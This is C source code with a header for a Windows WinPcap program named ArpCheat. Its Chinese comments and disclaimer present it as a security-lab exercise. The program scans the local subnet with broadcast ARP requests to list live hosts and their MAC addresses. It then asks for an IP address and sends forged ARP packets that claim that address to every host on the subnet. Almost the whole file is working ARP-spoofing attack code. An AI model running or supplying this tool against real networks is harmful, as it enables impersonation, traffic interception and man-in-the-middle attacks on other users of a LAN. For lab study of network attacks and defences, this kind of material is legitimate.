// 本程序仅用于信息安全专业实验 若用于攻击行为 后果自负!!
// Warning: Illegal Actions should be avoided or face the consequences.
//ArpCheat.cpp
/*
本代码部分参考于以下3位博客作者:
http://blog.csdn.net/cqcre/article/details/40213911
http://blog.sina.com.cn/s/blog_640be1370100xbi8.html
http://blog.csdn.net/microtong/article/details/3030039
对功能做了组合和添加并添加了部分注释
*/
#include "ArpCheat_Header.h"
char lock = FALSE; // 子线程锁
char lock_main_process = FALSE; // 子线程锁
int main(int argc, char* argv[])
{
pcap_if_t *alldevs; //全部网卡列表
pcap_if_t *d;
int i_store;//一个网卡
int inum = 0; //用户选择的网卡序号
int i = 0; //循环变量
// pcap_t *adhandle; //一个pcap实例
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
unsigned char *mac; //本机MAC地址
unsigned char *packet; //ARP包
unsigned long fakeIp; //要伪装成的IP地址
pcap_addr_t *pAddr; //网卡地址
unsigned long ip; //IP地址
unsigned long netmask; //子网掩码
char ip_v4[16] = "0";
sp.ip = (char *)malloc(sizeof(char) * 16); //申请内存存放IP地址
sp.netmask = (char *)malloc(sizeof(char) * 16); //申请内存存放NETMASK地址
/* 获得本机网卡列表 */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印网卡列表 */
for (d = alldevs; d; d = d->next)
{
printf("%d", ++i);
if (d->description)
printf(". %s\n", d->description);
else
printf(". No description available\n");
}
//如果没有发现网卡
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
strcpy(sp.ip, "0.0.0.0");
i_store = i;
while (!strcmp(sp.ip,invalidipAddr)) // 不合法地址
{
if (i == inum - 1)
{
printf("Enter the interface number (1-%d except%d):",i_store, i+1);
scanf("%d", &inum);
}
else
{
//请用户选择一个网卡
printf("Enter the interface number (1-%d):", i);
scanf("%d", &inum);
}
//如果用户选择的网卡序号超出有效范围,则退出
if (inum < 1 || inum > i_store)
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* 移动指针到用户选择的网卡 */
for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);
mac = GetSelfMac(d->name + 8); //+8以去掉"rpcap://"
printf("本机Mac地址为: (%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) \n",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
/* 打开网卡 */
// if ((adhandle = pcap_open(d->name, // name of the device
if ((sp.adhandle = pcap_open(d->name, // name of the device
65536, // portion of the packet to capture
0, //open flag
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n",
d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
for (pAddr = d->addresses; pAddr; pAddr = pAddr->next)
{
//得到用户选择的网卡的一个IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
char *ipstr;
//将地址转化为字符串
ipstr = iptos(((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr); //*ip_addr
memcpy(sp.ip, ipstr, 16);
//得到该IP地址对应的子网掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
char *netmaskstr;
netmaskstr = iptos(((struct sockaddr_in *)(pAddr->netmask))->sin_addr.s_addr);
memcpy(sp.netmask, netmaskstr, 16);
if (!ip || !netmask){
continue;
}
printf("ip:%s\n", ipstr);
printf("netmask:%s\n", netmaskstr);
break;
}
if (!strcmp(sp.ip, invalidipAddr))
{
printf("选取的该网卡不合法,请重新选取.\n");
}
}
sp.mac = mac;
gp.adhandle = sp.adhandle;
sendthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendArpPacket,&sp, 0, NULL);
printf("\n正在监听网卡: %s\n", d->description);
recvthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)GetLivePC, &gp,0, NULL);
while (lock_main_process == FALSE); // 等待子进程结束
printf("请输入想要伪造的IP地址: ");
//从参数列表获得要伪装的IP地址
scanf("%s", ip_v4);
// fakeIp = inet_addr(argv[1]);
fakeIp = inet_addr(ip_v4);
if (INADDR_NONE == fakeIp)
{
fprintf(stderr, "Invalid IP: %s\n", argv[1]);
return -1;
}
unsigned long netsize = ntohl(~netmask); //网络中主机数
unsigned long net = ip & netmask; //子网地址
for (unsigned long n = 1; n<netsize; n++){
//第i台主机的IP地址,网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac, fakeIp, destIp);
// if (pcap_sendpacket(adhandle, packet, 60) == -1){
if (pcap_sendpacket(sp.adhandle, packet, 60) == -1){
fprintf(stderr, "pcap_sendpacket error.\n");
}
}
return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){
static u_char mac[6];
memset(mac, 0, sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}
PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
if (Status)
{
memcpy(mac, (u_char*)(OidData->Data), 6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;
}
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP, unsigned long destIP)
{
static struct arp_packet packet;
//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac, 0xFF, 6);
//源MAC地址
memcpy(packet.eth.source_mac, source_mac, 6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type = htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度:MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度:IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作:ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr, source_mac, 6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr, 0, 6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据,18B
memset(packet.arp.padding, 0, 18);
return (unsigned char*)&packet;
}
/* 向局域网内所有可能的IP地址发送ARP请求包线程 */
DWORD WINAPI SendArpPacket(LPVOID lpParameter) //(pcap_t *adhandle,char *ip,unsigned char *mac,char *netmask)
{
sparam *spara = (sparam *)lpParameter;
pcap_t *adhandle = spara->adhandle;
char *ip = spara->ip;
unsigned char *mac = spara->mac;
char *netmask = spara->netmask;
printf("Mac :%02x-%02x-%02x-%02x-%02x-%02x\n", mac[0], mac[1], mac[2],
mac[3], mac[4], mac[5]);
printf("IP :%s\n", ip);
printf("NetMask :%s\n", netmask);
printf("\n");
unsigned char sendbuf[42]; //arp包结构大小
ethernet_head eh;
arp_head ah;
//赋值MAC地址
memset(eh.dest_mac, 0xff, 6);
//目的地址为全为广播地址
memcpy(eh.source_mac, mac, 6);
memcpy(ah.sour_addr, mac, 6);
memset(ah.dest_addr, 0x00, 6);
eh.eh_type = htons(0x0806);
//以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
ah.hardware_type = htons(1);
//硬件类型字段值为表示以太网地址
ah.protocol_type = htons(0x0800);
//协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
ah.add_len = 6;
ah.pro_len = 4;
ah.sour_ip = inet_addr(ip);
//请求方的IP地址为自身的IP地址
ah.option = htons(1);
//ARP请求
//向局域网内广播发送arp包
unsigned long myip = inet_addr(ip);
unsigned long mynetmask = inet_addr(netmask);
unsigned long hisip = htonl((myip & mynetmask));
//向255个主机发送
for (int i = 0; i < HOSTNUM; i++) {
ah.dest_ip = htonl(hisip + i);
//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf));
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
//如果发送成功
if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
//printf("\nPacketSend succeed\n");
}
else {
printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
}
Sleep(50);
}
Sleep(1000);
lock = TRUE;
return 0;
}
/* 分析截留的数据包获取活动的主机IP地址 */
DWORD WINAPI GetLivePC(LPVOID lpParameter) //(pcap_t *adhandle)
{
gparam *gpara = (gparam *)lpParameter;
pcap_t *adhandle = gpara->adhandle;
int res;
unsigned char Mac[6];
struct pcap_pkthdr * pkt_header;
const u_char * pkt_data;
while (true) {
if (lock) {
printf("获取MAC地址完毕,请输入你要发送对方的IP地址:\n");
break;
}
if ((res = pcap_next_ex(adhandle, &pkt_header, &pkt_data)) >= 0)
{
if (*(unsigned short *)(pkt_data + 12) == htons(0x0806))
{
arp_packet *recv = (arp_packet *)pkt_data;
if (*(unsigned short *)(pkt_data + 20) == htons(2))
{
printf("+-----------------------------------------------+\n");
printf("| IP地址:%d.%d.%d.%d MAC地址:",
recv->arp.sour_ip & 255,
recv->arp.sour_ip >> 8 & 255,
recv->arp.sour_ip >> 16 & 255,
recv->arp.sour_ip >> 24 & 255);
for (int i = 0; i < 6; i++) {
Mac[i] = *(unsigned char *)(pkt_data + 22 + i);
printf("%02x", Mac[i]);
}
printf("\t| \n");
}
}
}
Sleep(10);
}
printf("+-----------------------------------------------+\n");
lock_main_process = TRUE;
return 0;
}
/* 将数字类型的IP地址转换成字符串类型的 */
char *iptos(u_long in)
{
static char output[IPTOSBUFFERS][3 * 4 + 3 + 1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
sprintf_s(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
Header File:
//ArpCheat.h
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#define IPTOSBUFFERS 12
#define HOSTNUM 255 //主机数量
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <conio.h>
#include <Packet32.h>
#include <winsock2.h>
#include "ntddndis.h"
#ifndef MY_ARP_CHEAT_INCLUDE_H
#define MY_ARP_CHEAT_INCLUDE_H
HANDLE sendthread; //发送ARP包线程
HANDLE recvthread; //接受ARP包线程
char invalidipAddr[16] = "0.0.0.0";
//字节对齐必须是1
#pragma pack (1)
struct ethernet_head
{
unsigned char dest_mac[6]; //目标主机MAC地址
unsigned char source_mac[6]; //源端MAC地址
unsigned short eh_type; //以太网类型
};
struct arp_head
{
unsigned short hardware_type; //硬件类型:以太网接口类型为1
unsigned short protocol_type; //协议类型:IP协议类型为0X0800
unsigned char add_len; //硬件地址长度:MAC地址长度为6B
unsigned char pro_len; //协议地址长度:IP地址长度为4B
unsigned short option; //操作:ARP请求为1,ARP应答为2
unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址
unsigned long sour_ip; //源IP地址:发送方的IP地址
unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
unsigned char padding[18];
};
struct arp_packet //最终arp包结构
{
ethernet_head eth; //以太网头部
arp_head arp; //arp数据包头部
};
struct sparam {
pcap_t *adhandle;
char *ip;
unsigned char *mac;
char *netmask;
};
struct gparam {
pcap_t *adhandle;
};
struct sparam sp;
struct gparam gp;
#pragma pack ()
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName);
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP, unsigned long destIP);
/**
* 封装ARP请求包
* 向全网广播
*/
DWORD WINAPI SendArpPacket(LPVOID lpParameter);
/**
* 将数字类型的IP地址转换成字符串类型的
*/
char *iptos(u_long in);
/**
* 获取当前在线pc的ipAddr和MacAddr
*/
DWORD WINAPI GetLivePC(LPVOID lpParameter); //(pcap_t *adhandle)
#endif